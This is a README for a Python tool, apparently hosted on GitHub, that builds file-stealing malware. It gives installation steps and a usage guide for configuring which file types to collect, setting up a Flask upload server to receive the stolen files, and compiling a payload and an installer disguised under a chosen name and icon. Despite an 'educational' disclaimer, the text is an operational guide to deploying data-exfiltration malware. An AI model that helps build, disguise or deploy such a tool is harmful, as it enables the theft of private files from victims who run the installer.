Malware Builder & Analyzer Tool - Educational

  ______        __  __       _                        _      _ _       
 |  ____|      |  \/  |     | |                      | |    (_) |      
 | |__ _____  _| \  / | __ _| |_      ____ _ _ __ ___| |     _| |_ ___ 
 |  __/ _ \ \/ / |\/| |/ _` | \ \ /\ / / _` | '__/ _ \ |    | | __/ _ \
 | | |  __/>  <| |  | | (_| | |\ V  V / (_| | | |  __/ |____| | ||  __/
 |_|  \___/_/\_\_|  |_|\__,_|_| \_/\_/ \__,_|_|  \___|______|_|\__\___|
                                                                       

⚠️ Disclaimer and Educational Purpose

This tool is created STRICTLY for educational purposes in the context of penetration testing, cybersecurity defense training, and authorized security research. Understanding how malware is built is a crucial part of learning how to defend against it. The developer and all associated parties assume no liability for any unauthorized, malicious, or illegal use of this software. Use only on systems you own or have explicit written permission to test.

Overview

This project is a configurable builder that demonstrates how certain types of file-targeting malware can be constructed. It serves as a practical educational tool for security professionals and students to study malware behavior, data exfiltration techniques, and executable packaging in a controlled, ethical environment.

Prerequisites & Installation

Supported Systems

• Operating System: Windows or Linux.
• Python Version: Python3 or higher.

Step-by-Step Setup

1. Clone the Repository:

   git clone https://github.com/Dsevenfex/FexMalwareLite
   cd FexMalwareLite

2. Create and Activate a Virtual Environment:

   • Linux/macOS:

     python3 -m venv venv
     source venv/bin/activate

   • Windows:

     python -m venv venv
     .\venv\Scripts\activate

3. Install Dependencies:

   pip install -r requirements.txt

   Core Dependencies: requests, colorama, PyInstaller.

Project Structure & File Guide

.
├── FexMalwareLite.py # Primary configuration interface
├── creator.py # Generates the malware configuration script
├── installer.py # Creates the installer wrapper
├── MalwareCONFIG.py # Generated script containing the core logic
├── dist/ # Output directory for final executables
│ ├── beta.exe # Primary payload (name can be customized)
│ └── <custom_name>.exe # Installer executable
├── icon/ # Contains icon resources for executables
│ └── logo.ico # Malware/application logo
└── web interface/ # (Optional/Required) Host server component
  └── app.py # Flask application to receive uploaded data

Key File Explanations:

• icon/logo.ico: This is the icon file that will be embedded into the generated .exe files. You should replace the placeholder with your own .ico file.
• dist/beta.exe: This is the primary payload generated by the builder. It is created when you run main.py.
• dist/<custom_name>.exe: This is the installer/wrapper executable generated by the tool, named based on your input.

Usage Guide

1. Running the Builder

Execute the main script to start the configuration wizard:

python FexMalwareLite.py

2. Configuration Parameters

You will be prompted to enter the following details:

Malware Name: The desired name for your output files (e.g., MySecurityTool). This will be part of the final executable's name.

Host URL: This is a critical setting.

    You must host the provided web_interface/app.py (a Flask application) on a server you control.

    The URL must point to the /upload endpoint (e.g., https://yourdomain.com/upload or http://your_server_ip:5000/upload).

    This endpoint will receive the data collected by the payload.

File Extensions: Enter the extensions of files to target, separated by spaces. The tool validates the format.

    Format: .txt .png .pdf .docx

    Invalid Example: txt png (missing the leading dot).

File Size Range: Define the minimum and maximum size of files to collect.

    You can use units: B, KB, MB, GB.

    Examples: 100B, 0.5MB, 2GB

    The minimum size must be less than the maximum size.

3. Output and Results

After successful configuration:

The builder will generate a MalwareCONFIG.py script and use PyInstaller to compile it into dist/beta.exe.

It will also create a customized installer script and compile it into dist/<Your_Chosen_Name>.exe.

The final, usable payloads will be located in the dist/ folder.